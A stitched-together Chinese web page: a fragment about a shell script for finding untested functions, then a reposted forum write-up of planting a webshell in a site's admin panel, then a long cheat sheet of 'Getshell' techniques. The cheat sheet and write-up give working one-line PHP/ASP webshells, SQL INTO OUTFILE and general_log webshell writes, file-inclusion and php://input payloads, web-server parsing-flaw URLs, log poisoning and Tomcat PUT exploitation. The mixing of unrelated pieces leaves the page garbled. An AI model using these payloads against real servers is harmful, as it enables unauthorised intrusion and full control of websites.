享提綱:
1. 問題背景
2. 代碼實現(xiàn)
在做公司的測試的自動化測試時,覆蓋了一些開發(fā)代碼的函數(shù),但是那些還沒有做,使用一個函數(shù)一個函數(shù)搜索的方法還是比較慢的,這里提供一種快速找出來還有那些函數(shù)沒有做的方法。
大致的思路是,完全使用shell腳本實現(xiàn):
1)【搜集函數(shù)html】
將已經(jīng)做了的函數(shù),因為可以拿到url的html源碼,匹配出一個 函數(shù)集合 sourceWeb.log
2)【執(zhí)行腳本獲取結(jié)果】
-- 執(zhí)行腳本 sh run.sh, 里邊做的工作是獲取開發(fā)代碼中的函數(shù)集合 local_fun.log,遍歷這些函數(shù),沒有在文件sourceWeb.log中的就放到最終結(jié)果 result.log
-- result.log 就是那些還未加到自動化測試的開發(fā)的函數(shù)
shell腳本 run.sh的代碼如下,最終生成結(jié)果是 result.log
源碼的地址在 博客園:http://www.cnblogs.com/aiweixiao/p/6671381.html
遇到問題,解決問題,不斷總結(jié),能力就會不斷提高了~
x01 前言
這個后臺是一個表哥給我的,然后作為菜雞的我去試著弄了一下,搞下了,就分享一下思路,文章很菜,希望各位大表哥手下留情,別噴~(菜雞第一次在春秋寫文章....)
0x02 測試開始
首先,后臺界面是這樣子滴(已處理,若文章漏碼請告知~)
我先去云悉對這個站做了一些簡單識別,得到結(jié)果如下圖
大致猜測是由Linux + Apache + Mysql + Php搭配的。但是Apache沒給我顯示他的版本,不知道是否存在解析漏洞。于是回到了后臺,去研究他的上傳文件的功能。
他的這個系統(tǒng)很多地方存在上傳點,下圖就是一個上傳點
他這里可以支持壓縮包的格式并且自解壓,于是我就想到將木馬放到壓縮包內(nèi)然后上傳這個壓縮包,使其自解壓,將木馬成功上傳到服務(wù)器。然后操作結(jié)束后,的確是上傳成功了。然而人生就是那么大起大落,并沒有成功的拿下shell,為毛呢,請看下面
首先正常上傳
然后查看上傳后的文件
給我加了個txt.... 心想加了個txt就算了,我打開試試看能不能正常訪問
丫的還是個403拒絕訪問。于是我又測試了幾個后綴的文件名,發(fā)現(xiàn)pdf和jpg
等文檔和圖片類型是可以正常上傳并且進行訪問(pdf訪問會自動下載)
不要在意打碼的內(nèi)容,他的確是可以訪問并且顯示了代碼。。只要腳本文件他就會自動在后面加上txt,于是放棄上傳壓縮包的方法,直接硬干上傳點,試試看能不能運氣爆棚碰巧就是一個解析漏洞.... 然后fuzz了許久,還是不行(就不寫上傳的過程了,沒成功寫了浪費時間~~)
看樣子他的上傳是做了處理了,只能換思路了,然后這個時候逗神告訴了一個點,讓我拿下了這個shell
他這里支持自定義html,用來做搜索引擎優(yōu)化,于是可以試著寫入php代碼來獲取shell,補充一下php的幾種定義寫法:
1.<? echo 1; ?> 2.<?php echo 2; ?> 3. <script language="php"> echo 3; </script>
第三種寫法的標(biāo)簽是不是很熟悉。他不就是html中定義js代碼的標(biāo)簽嘛~,那么可以試著用這段代碼去試試,看能否被正常寫入進去。
然后我就在自定義代碼去寫上了下面的代碼,保存進去
<script language="php"> phpinfo(); </script>
然后打開網(wǎng)站的首頁
發(fā)現(xiàn)還是原網(wǎng)頁,沒有丁點的改變...... 。這個時候查看一下源代碼
的的確確的代碼是被寫進去了,那么刷新一下試試
ok,是正常的,然后執(zhí)行phpinfo的代碼也已經(jīng)不見了,已經(jīng)當(dāng)作php執(zhí)行了
那么這個時候,構(gòu)造一下一句話木馬,然后進行連接操作。
結(jié)果是連接不上去,換了其他的刀也是不行的,那么這條路就斷了嘛?shell就搞不定了嘛~
0x03 文件包含getshell
在前面有說到,他這個站有許多上傳點,我隨便找了一個上傳點,上傳了一個圖片格式的大馬,大馬的代碼如下:
<?php
然后通過一樣的步驟用下面的代碼
<script language="php"> include '../ezfiles/2/1002/img/92/123.jpg';//上傳的圖片地址 </script>
然后點擊修改進行保存,在回到網(wǎng)頁去刷新,然后在域名后面加上2.php去測試是否成功生成了這個文件
成功getshell~ 由于是linux,老夫?qū)嵲跊]半點興趣提權(quán)啥的..... 就把shell給那位表哥后 繼續(xù)的去看妹子圖了
0x04 結(jié)束語
這次拿shell也不是很難,都是常見的操作,low的一批~ ,滲透就是要把知識點進行串聯(lián)起來,然后靈活的進行運用。各位大佬要是有啥高見歡迎私信交流,最后這句是重點,希望大佬們不要吐槽我這個菜雞的文章~~ 有啥意見私下地可以交流,畢竟這文章純屬虛構(gòu),如有雷同純屬巧合
文章轉(zhuǎn)載自:https://bbs.ichunqiu.com/thread-49404-1-1.html
作者i春秋id:最菜的kk
etshell分為進管理員后臺Getshell和不進后臺Getshell,本文主要總結(jié)常見進后臺Getshell和部分。
一、進后臺Getshell
進臺Getshel
1、管理員后臺直接Getshell
管理員后臺直接上傳Getshell,有時候帶密碼的Webshell連接時容易被waf攔截,可以上傳不加密的Webshell如有權(quán)限限制可以嘗試管理后臺自帶的修改文件名功能在文件名前加../來穿越目錄,如上傳的文件為a.php,將a.php修改為../a.php。
2、后臺數(shù)據(jù)庫備份Getshell
后臺數(shù)據(jù)庫備份getshell,上傳圖片馬并獲取圖片馬路徑,通過數(shù)據(jù)庫備份修改后綴名,如有后綴名無法修改或路徑無法修改限制可修改前端代碼繞過,當(dāng)所備份的數(shù)據(jù)庫來源無法修改時,我們可以通過首先將一句話木馬寫入數(shù)據(jù)庫,比如通過新建管理員用戶,將用戶名用一句話木馬代替(用戶名通常有長度限制,在前端修改maxlength即可),<%eval
然后再通過備份數(shù)據(jù)庫后訪問此界面Getshell。
二、各類上傳Getshell
各類上傳Getshell
1、修改網(wǎng)站上傳類型Getshell
修改網(wǎng)站上傳類型,后臺設(shè)置中添加aasps|asp|php|jsp|aspx|asa|cer,保存后上傳aasps文件,上傳后為asp文件可以解析Getshll。
2、上傳其他腳本類型Getshell
一臺服務(wù)器有多個站,如a網(wǎng)站為asp腳本,b網(wǎng)站為php腳本,而a中限制了上傳文件類型為asp的文件,此時可以上傳php的腳本,來拿shell;也可以嘗試腳本文件后綴名改為asa或者在后面直接加個.如xx.asp.來突破文件類型限制進行上傳來Getshell解
三、解析漏洞Getshell
1、IIS6.0解析漏洞
??http://www.xxx.com/xx.asp/xx.jpg??
??http://www.xxx.com/xx.asp/xx.txt??
??http://www.xxx.com/xx.asp/xx.asp;jpg??
2、IIS7.0/7.5、Nginx<8.0解析漏洞
??http://www.xxx.com/xx.jpg/.php??
3、Nginx<8.03空字節(jié)代碼執(zhí)行漏洞
版本范圍:Nginx0.5.,0.6., 0.7 <=0.7.65, 0.8 <=0.8.37
??http://www.xxx.com/xx.jpg%00.php??
4、Apache解析漏洞
??http://www.xxx.com/xx.php.owf.rar??逆向解析,直到能解析出php為止
?
5、CVE-2013-4547 Nginx解析漏洞
??http://www.xxx.com/xx.jpg(非編碼空格)>??http://www.xxx.com/xx.jpg(非編碼空格)\0.php??<.php??
四、編輯漏洞Getshell
1、網(wǎng)站配置插馬Getshell
進入后臺后,網(wǎng)站配置插馬getshell,可以找到源碼本地搭建,插入時注意與源碼閉合,如果插入出錯可能導(dǎo)致網(wǎng)站報廢。如asp中單引號表示單行注釋作用
??%><%eval request("v01cano")%><%??
?
2、編輯器模版Getshell
通過網(wǎng)站的模版編寫一句話,然后生成腳本文件getshell 通過將木馬添加到壓縮文件,把名字改為網(wǎng)站的模版類型,上傳到服務(wù)器,getshell)(新建或修改目錄名為xx.asp/ 此目錄下的jsp,html會以asp執(zhí)行,配置iis6.有0解析漏洞 。
3、修改腳本文件Getshell
修改后臺腳本文件插入一句話直接Getshell,盡量插在頭和尾 。
?
4、上傳插件、更新頁面Getshell
進入wordpress,dz等,如編輯wordpress404頁面插入一句話,可以先下載對應(yīng)版本找到404路徑,部分OA上傳插件Getshell, jboss,tomcat上傳war包getshell等。
?
5、執(zhí)行sql語句寫入Webshell
首先執(zhí)行錯誤的sql語句,使其暴露出網(wǎng)站的根目錄,以ecshop為例,進入后臺執(zhí)行sql查詢
??select "<?php phpinfo();?>" into outfile "C:\vulcms\ecshopv3.6\ecshop\v01cano.php";??
關(guān)于此語句說明,在windows中有時候需要使用斜杠/有時候需要使用雙反斜杠\末尾有時候需要分號,有時候也不需要分號。也可以先將一句話通過ecshop的新建管理員寫入到user表中,然后通過數(shù)據(jù)庫備份配合解析漏洞Getshell。
五、命令執(zhí)行Getshel
1、Windows
1.echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:.php
2、Linux
1.echo -e "<?php @assert($_POST[C0cho])?>" > 1.php
Linux需要在$前加\進行防轉(zhuǎn)義,Windows需要在<前加^防轉(zhuǎn)義,Windows和Linux中的 “可以使用’或不使用進行嘗試
六、文件包含Getshell
1、asp包含
?
??include file="123.jpg"??調(diào)用的文件必須和被調(diào)用的文件在同一目錄,否則找不到,如果不在同一目錄,用下面語句也使用如下代碼??include virtual="文件所在目錄/123.jpg"??
2、php包含
3、使用php://input
使用burpsuite截取數(shù)據(jù)包,并修改內(nèi)容轉(zhuǎn)發(fā)(還可以使用hackbar工具中的post data中輸入??<?php fputs(fopen("shell1.php","w"),'1111<?php @assert($_POST[xss])?>2222')?>等一句話木馬)??
截取get請求
將一句話木馬
訪問瀏覽器查看是否成功
七、數(shù)據(jù)庫命令執(zhí)行Getshell
1、Access導(dǎo)出
Access可導(dǎo)出xxx等文件需要配合解析漏洞。
菜刀直連??https://www.webshell.cc/1.asa;x.xls??
2、Sqlserver導(dǎo)出
exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>"
3、Mysql導(dǎo)出
以phpMyAdmin為例:
方法一
方法二
select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'
1.
方法三
當(dāng)數(shù)據(jù)庫路徑未知時Getshell
1.//創(chuàng)建表a,并且將httpd.conf寫入到表a中
2.create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;
然后執(zhí)行導(dǎo)出操作,將該文件下載,使用notepad++打開,最后搜索documentroot,即可找到網(wǎng)站的根目錄:
文件可能存在的一些路徑:
10./usr/local/mysql
11./user/local/httpd/conf/httpd.conf
12./usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置文件
13./user/local/nginx/conf/httpd.conf # Nginx配置文件
方法四
通過load_file函數(shù)直接加載該文件內(nèi)容
1、select load_file('C:/phpStudy/Apache/conf/httpd.conf');
同時需要做如下配置
方法五
general_log_file方法獲取Webshell,show global variables like 'secure%'顯示secure_file_priv的值為NULL,不能利用寫into outfile寫木馬getshell。
1、show global variables like "%genera%"; #查看genera文件配置情況
2、set global general_log=off; #關(guān)閉general_log
3、set global general_log='on'; #如果general_log關(guān)閉需要開啟
4、set global general_log_file='D:/www/web/shell.php'
方法六
可執(zhí)行命令方式
??select '<?php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php'??
使用方法
www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令
方法七
過殺毒軟件方式,上傳圖片馬c.jpg,圖片馬內(nèi)容如下:
??www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令??
導(dǎo)出Webshell
??select '<?php include 'c.jpg'?>' INTO OUTFILE 'D:/work/www/shell.php'??
方法八
直接導(dǎo)出加密Webshell
??select unhex('加密代碼') into dumpfile 'D:/www/web/shell.php'??
八、不進后臺Getshell
1、0day Getshell
各類OA,coremail,cms,php框架,數(shù)據(jù)庫,java框架等0day,1day,nday Getshell 。
?
2、寫入日志Getshell
獲取日志路徑,在訪問過程中在url或者其他位置寫入??<?php eval($_POST[c]);?>;??等信息,使其日志記錄此代碼,然后訪問日志路徑,菜刀連接Getshell,如phpinfo();中能查看到error.log和access.log的路徑。
3、IIS/Tomcat寫權(quán)限Getshell
IIS6.0,put協(xié)議上傳手工或工具,批量掃描工具:iis put scaner,寫權(quán)限利用:桂林老兵
Tomcat put上傳 CVE-2017-12615 工具傳送門:https://link.zhihu.com/?target=https%3A//github.com/iBearcat/CVE-2017-12615
4、上傳會員頭像Getshell
將Webshell放入文件夾,然后壓縮成zip文件。上傳正常頭像抓包將圖片文件內(nèi)容刪除,burp右鍵選擇文件黏貼功能,將zip包內(nèi)容復(fù)制到burp中的圖片內(nèi)容,放行后菜刀連接圖片上傳路徑下的文件夾(zip壓縮包名)下的Webshell 。
?
5、遠程命令執(zhí)行
參考Linux/Windows反彈shell,腳本語言、powershell反彈shell,Kali/Cobalt Strike等各種上線方法 。
?
6、其他漏洞Getshell
XXE,SSRF,反序列化,strust2等一種或多種組合利用Getshell 。
*請認真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。